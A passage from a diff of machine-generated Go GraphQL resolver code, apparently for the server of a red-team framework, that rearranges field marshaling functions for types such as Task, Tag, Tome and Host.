-			return nil, fmt.Errorf("no field named %q was found under type Quest", field.Name)
+			return nil, errors.New("field of type ID does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_beacon(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_beacon(ctx, field)
+func (ec *executionContext) _Tag_name(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tag_name(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5259,7 +5098,7 @@ func (ec *executionContext) _Task_beacon(ctx context.Context, field graphql.Coll
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Beacon(ctx)
+		return obj.Name, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5271,50 +5110,26 @@ func (ec *executionContext) _Task_beacon(ctx context.Context, field graphql.Coll
 		}
 		return graphql.Null
 	}
-	res := resTmp.(*ent.Beacon)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNBeacon2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeacon(ctx, field.Selections, res)
+	return ec.marshalNString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_beacon(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tag_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Tag",
 		Field:      field,
-		IsMethod:   true,
+		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_Beacon_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Beacon_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Beacon_lastModifiedAt(ctx, field)
-			case "name":
-				return ec.fieldContext_Beacon_name(ctx, field)
-			case "principal":
-				return ec.fieldContext_Beacon_principal(ctx, field)
-			case "identifier":
-				return ec.fieldContext_Beacon_identifier(ctx, field)
-			case "agentIdentifier":
-				return ec.fieldContext_Beacon_agentIdentifier(ctx, field)
-			case "lastSeenAt":
-				return ec.fieldContext_Beacon_lastSeenAt(ctx, field)
-			case "interval":
-				return ec.fieldContext_Beacon_interval(ctx, field)
-			case "host":
-				return ec.fieldContext_Beacon_host(ctx, field)
-			case "tasks":
-				return ec.fieldContext_Beacon_tasks(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type Beacon", field.Name)
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_reportedFiles(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_reportedFiles(ctx, field)
+func (ec *executionContext) _Tag_kind(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tag_kind(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5327,59 +5142,38 @@ func (ec *executionContext) _Task_reportedFiles(ctx context.Context, field graph
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ReportedFiles(ctx)
+		return obj.Kind, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.HostFile)
+	res := resTmp.(tag.Kind)
 	fc.Result = res
-	return ec.marshalOHostFile2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostFileᚄ(ctx, field.Selections, res)
+	return ec.marshalNTagKind2realmᚗpubᚋtavernᚋinternalᚋentᚋtagᚐKind(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_reportedFiles(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tag_kind(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Tag",
 		Field:      field,
-		IsMethod:   true,
+		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_HostFile_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_HostFile_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_HostFile_lastModifiedAt(ctx, field)
-			case "path":
-				return ec.fieldContext_HostFile_path(ctx, field)
-			case "owner":
-				return ec.fieldContext_HostFile_owner(ctx, field)
-			case "group":
-				return ec.fieldContext_HostFile_group(ctx, field)
-			case "permissions":
-				return ec.fieldContext_HostFile_permissions(ctx, field)
-			case "size":
-				return ec.fieldContext_HostFile_size(ctx, field)
-			case "hash":
-				return ec.fieldContext_HostFile_hash(ctx, field)
-			case "host":
-				return ec.fieldContext_HostFile_host(ctx, field)
-			case "task":
-				return ec.fieldContext_HostFile_task(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type HostFile", field.Name)
+			return nil, errors.New("field of type TagKind does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Task_reportedProcesses(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Task_reportedProcesses(ctx, field)
+func (ec *executionContext) _Tag_hosts(ctx context.Context, field graphql.CollectedField, obj *ent.Tag) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Tag_hosts(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5392,7 +5186,7 @@ func (ec *executionContext) _Task_reportedProcesses(ctx context.Context, field g
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ReportedProcesses(ctx)
+		return obj.Hosts(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5401,56 +5195,54 @@ func (ec *executionContext) _Task_reportedProcesses(ctx context.Context, field g
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.HostProcess)
+	res := resTmp.([]*ent.Host)
 	fc.Result = res
-	return ec.marshalOHostProcess2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostProcessᚄ(ctx, field.Selections, res)
+	return ec.marshalOHost2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐHostᚄ(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Task_reportedProcesses(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Tag_hosts(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Task",
+		Object:     "Tag",
 		Field:      field,
 		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
 			switch field.Name {
 			case "id":
-				return ec.fieldContext_HostProcess_id(ctx, field)
+				return ec.fieldContext_Host_id(ctx, field)
 			case "createdAt":
-				return ec.fieldContext_HostProcess_createdAt(ctx, field)
+				return ec.fieldContext_Host_createdAt(ctx, field)
 			case "lastModifiedAt":
-				return ec.fieldContext_HostProcess_lastModifiedAt(ctx, field)
-			case "pid":
-				return ec.fieldContext_HostProcess_pid(ctx, field)
-			case "ppid":
-				return ec.fieldContext_HostProcess_ppid(ctx, field)
+				return ec.fieldContext_Host_lastModifiedAt(ctx, field)
+			case "identifier":
+				return ec.fieldContext_Host_identifier(ctx, field)
 			case "name":
-				return ec.fieldContext_HostProcess_name(ctx, field)
-			case "principal":
-				return ec.fieldContext_HostProcess_principal(ctx, field)
-			case "path":
-				return ec.fieldContext_HostProcess_path(ctx, field)
-			case "cmd":
-				return ec.fieldContext_HostProcess_cmd(ctx, field)
-			case "env":
-				return ec.fieldContext_HostProcess_env(ctx, field)
-			case "cwd":
-				return ec.fieldContext_HostProcess_cwd(ctx, field)
-			case "status":
-				return ec.fieldContext_HostProcess_status(ctx, field)
-			case "host":
-				return ec.fieldContext_HostProcess_host(ctx, field)
-			case "task":
-				return ec.fieldContext_HostProcess_task(ctx, field)
+				return ec.fieldContext_Host_name(ctx, field)
+			case "primaryIP":
+				return ec.fieldContext_Host_primaryIP(ctx, field)
+			case "platform":
+				return ec.fieldContext_Host_platform(ctx, field)
+			case "lastSeenAt":
+				return ec.fieldContext_Host_lastSeenAt(ctx, field)
+			case "tags":
+				return ec.fieldContext_Host_tags(ctx, field)
+			case "beacons":
+				return ec.fieldContext_Host_beacons(ctx, field)
+			case "files":
+				return ec.fieldContext_Host_files(ctx, field)
+			case "processes":
+				return ec.fieldContext_Host_processes(ctx, field)
+			case "credentials":
+				return ec.fieldContext_Host_credentials(ctx, field)
 			}
-			return nil, fmt.Errorf("no field named %q was found under type HostProcess", field.Name)
+			return nil, fmt.Errorf("no field named %q was found under type Host", field.Name)
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _TaskConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.TaskConnection) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_TaskConnection_edges(ctx, field)
+func (ec *executionContext) _Task_id(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_id(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5463,41 +5255,38 @@ func (ec *executionContext) _TaskConnection_edges(ctx context.Context, field gra
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Edges, nil
+		return obj.ID, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
+		if !graphql.HasFieldError(ctx, fc) {
+			ec.Errorf(ctx, "must not be null")
+		}
 		return graphql.Null
 	}
-	res := resTmp.([]*ent.TaskEdge)
+	res := resTmp.(int)
 	fc.Result = res
-	return ec.marshalOTaskEdge2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTaskEdge(ctx, field.Selections, res)
+	return ec.marshalNID2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_TaskConnection_edges(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "TaskConnection",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "node":
-				return ec.fieldContext_TaskEdge_node(ctx, field)
-			case "cursor":
-				return ec.fieldContext_TaskEdge_cursor(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type TaskEdge", field.Name)
+			return nil, errors.New("field of type ID does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _TaskConnection_pageInfo(ctx context.Context, field graphql.CollectedField, obj *ent.TaskConnection) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_TaskConnection_pageInfo(ctx, field)
+func (ec *executionContext) _Task_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_createdAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5510,7 +5299,7 @@ func (ec *executionContext) _TaskConnection_pageInfo(ctx context.Context, field
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.PageInfo, nil
+		return obj.CreatedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5522,36 +5311,26 @@ func (ec *executionContext) _TaskConnection_pageInfo(ctx context.Context, field
 		}
 		return graphql.Null
 	}
-	res := resTmp.(entgql.PageInfo[int])
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalNPageInfo2entgoᚗioᚋcontribᚋentgqlᚐPageInfo(ctx, field.Selections, res)
+	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_TaskConnection_pageInfo(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "TaskConnection",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "hasNextPage":
-				return ec.fieldContext_PageInfo_hasNextPage(ctx, field)
-			case "hasPreviousPage":
-				return ec.fieldContext_PageInfo_hasPreviousPage(ctx, field)
-			case "startCursor":
-				return ec.fieldContext_PageInfo_startCursor(ctx, field)
-			case "endCursor":
-				return ec.fieldContext_PageInfo_endCursor(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type PageInfo", field.Name)
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _TaskConnection_totalCount(ctx context.Context, field graphql.CollectedField, obj *ent.TaskConnection) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_TaskConnection_totalCount(ctx, field)
+func (ec *executionContext) _Task_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_lastModifiedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5564,7 +5343,7 @@ func (ec *executionContext) _TaskConnection_totalCount(ctx context.Context, fiel
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.TotalCount, nil
+		return obj.LastModifiedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5576,26 +5355,26 @@ func (ec *executionContext) _TaskConnection_totalCount(ctx context.Context, fiel
 		}
 		return graphql.Null
 	}
-	res := resTmp.(int)
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalNInt2int(ctx, field.Selections, res)
+	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_TaskConnection_totalCount(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "TaskConnection",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Int does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _TaskEdge_node(ctx context.Context, field graphql.CollectedField, obj *ent.TaskEdge) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_TaskEdge_node(ctx, field)
+func (ec *executionContext) _Task_claimedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_claimedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5608,7 +5387,7 @@ func (ec *executionContext) _TaskEdge_node(ctx context.Context, field graphql.Co
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Node, nil
+		return obj.ClaimedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5617,54 +5396,26 @@ func (ec *executionContext) _TaskEdge_node(ctx context.Context, field graphql.Co
 	if resTmp == nil {
 		return graphql.Null
 	}
-	res := resTmp.(*ent.Task)
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalOTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask(ctx, field.Selections, res)
+	return ec.marshalOTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_TaskEdge_node(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_claimedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "TaskEdge",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			switch field.Name {
-			case "id":
-				return ec.fieldContext_Task_id(ctx, field)
-			case "createdAt":
-				return ec.fieldContext_Task_createdAt(ctx, field)
-			case "lastModifiedAt":
-				return ec.fieldContext_Task_lastModifiedAt(ctx, field)
-			case "claimedAt":
-				return ec.fieldContext_Task_claimedAt(ctx, field)
-			case "execStartedAt":
-				return ec.fieldContext_Task_execStartedAt(ctx, field)
-			case "execFinishedAt":
-				return ec.fieldContext_Task_execFinishedAt(ctx, field)
-			case "output":
-				return ec.fieldContext_Task_output(ctx, field)
-			case "outputSize":
-				return ec.fieldContext_Task_outputSize(ctx, field)
-			case "error":
-				return ec.fieldContext_Task_error(ctx, field)
-			case "quest":
-				return ec.fieldContext_Task_quest(ctx, field)
-			case "beacon":
-				return ec.fieldContext_Task_beacon(ctx, field)
-			case "reportedFiles":
-				return ec.fieldContext_Task_reportedFiles(ctx, field)
-			case "reportedProcesses":
-				return ec.fieldContext_Task_reportedProcesses(ctx, field)
-			}
-			return nil, fmt.Errorf("no field named %q was found under type Task", field.Name)
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _TaskEdge_cursor(ctx context.Context, field graphql.CollectedField, obj *ent.TaskEdge) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_TaskEdge_cursor(ctx, field)
+func (ec *executionContext) _Task_execStartedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_execStartedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5677,38 +5428,35 @@ func (ec *executionContext) _TaskEdge_cursor(ctx context.Context, field graphql.
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Cursor, nil
+		return obj.ExecStartedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(entgql.Cursor[int])
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalNCursor2entgoᚗioᚋcontribᚋentgqlᚐCursor(ctx, field.Selections, res)
+	return ec.marshalOTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_TaskEdge_cursor(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_execStartedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "TaskEdge",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Cursor does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_id(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_id(ctx, field)
+func (ec *executionContext) _Task_execFinishedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_execFinishedAt(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5721,38 +5469,35 @@ func (ec *executionContext) _Tome_id(ctx context.Context, field graphql.Collecte
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.ID, nil
+		return obj.ExecFinishedAt, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(int)
+	res := resTmp.(time.Time)
 	fc.Result = res
-	return ec.marshalNID2int(ctx, field.Selections, res)
+	return ec.marshalOTime2timeᚐTime(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_id(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_execFinishedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type ID does not have child fields")
+			return nil, errors.New("field of type Time does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_createdAt(ctx, field)
+func (ec *executionContext) _Task_output(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_output(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5765,38 +5510,35 @@ func (ec *executionContext) _Tome_createdAt(ctx context.Context, field graphql.C
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.CreatedAt, nil
+		return obj.Output, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_createdAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_output(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
+			return nil, errors.New("field of type String does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_lastModifiedAt(ctx, field)
+func (ec *executionContext) _Task_outputSize(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_outputSize(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5809,7 +5551,7 @@ func (ec *executionContext) _Tome_lastModifiedAt(ctx context.Context, field grap
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.LastModifiedAt, nil
+		return obj.OutputSize, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5821,26 +5563,26 @@ func (ec *executionContext) _Tome_lastModifiedAt(ctx context.Context, field grap
 		}
 		return graphql.Null
 	}
-	res := resTmp.(time.Time)
+	res := resTmp.(int)
 	fc.Result = res
-	return ec.marshalNTime2timeᚐTime(ctx, field.Selections, res)
+	return ec.marshalNInt2int(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_lastModifiedAt(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_outputSize(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type Time does not have child fields")
+			return nil, errors.New("field of type Int does not have child fields")
 		},
 	}
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_name(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_name(ctx, field)
+func (ec *executionContext) _Task_error(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_error(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5853,26 +5595,23 @@ func (ec *executionContext) _Tome_name(ctx context.Context, field graphql.Collec
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Name, nil
+		return obj.Error, nil
 	})
 	if err != nil {
 		ec.Error(ctx, err)
 		return graphql.Null
 	}
 	if resTmp == nil {
-		if !graphql.HasFieldError(ctx, fc) {
-			ec.Errorf(ctx, "must not be null")
-		}
 		return graphql.Null
 	}
 	res := resTmp.(string)
 	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
+	return ec.marshalOString2string(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_name(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_error(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
 		IsMethod:   false,
 		IsResolver: false,
@@ -5883,8 +5622,8 @@ func (ec *executionContext) fieldContext_Tome_name(ctx context.Context, field gr
 	return fc, nil
 }
 
-func (ec *executionContext) _Tome_description(ctx context.Context, field graphql.CollectedField, obj *ent.Tome) (ret graphql.Marshaler) {
-	fc, err := ec.fieldContext_Tome_description(ctx, field)
+func (ec *executionContext) _Task_quest(ctx context.Context, field graphql.CollectedField, obj *ent.Task) (ret graphql.Marshaler) {
+	fc, err := ec.fieldContext_Task_quest(ctx, field)
 	if err != nil {
 		return graphql.Null
 	}
@@ -5897,7 +5636,7 @@ func (ec *executionContext) _Tome_description(ctx context.Context, field graphql
 	}()
 	resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {
 		ctx = rctx // use context from middleware stack in children
-		return obj.Description, nil
+		return obj.Quest(ctx)
 	})
 	if err != nil {
 		ec.Error(ctx, err)
@@ -5909,26 +5648,46 @@ func (ec *executionContext) _Tome_description(ctx context.Context, field graphql
 		}
 		return graphql.Null
 	}
-	res := resTmp.(string)
+	res := resTmp.(*ent.Quest)
 	fc.Result = res
-	return ec.marshalNString2string(ctx, field.Selections, res)
+	return ec.marshalNQuest2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐQuest(ctx, field.Selections, res)
 }
 
-func (ec *executionContext) fieldContext_Tome_description(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
+func (ec *executionContext) fieldContext_Task_quest(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) {
 	fc = &graphql.FieldContext{
-		Object:     "Tome",
+		Object:     "Task",
 		Field:      field,
-		IsMethod:   false,
+		IsMethod:   true,
 		IsResolver: false,
 		Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) {
-			return nil, errors.New("field of type String does not have child fields")
+			switch field.Name {
+			case "id":
+				return ec.fieldContext_Quest_id(ctx, field)
+			case "createdAt":
+				return ec.fieldContext_Quest_createdAt(ctx, field)
+			case "lastModifiedAt":
+				return ec.fieldContext_Quest_lastModifiedAt(ctx, field)
+			case "name":
+				return ec.fieldContext_Quest_name(ctx, field)
+			case "parameters":
+				return ec.fieldContext_Quest_parameters(ctx, field)
+			case "tome":
+				return ec.fieldContext_Quest_tome(ctx, field)
+			case "bundle":
+				return ec.fieldContext_Quest_bundle(ctx, field)
+			case "tasks":
+				return ec.fieldContext_Quest_tasks(ctx, field)
+			case "creator":
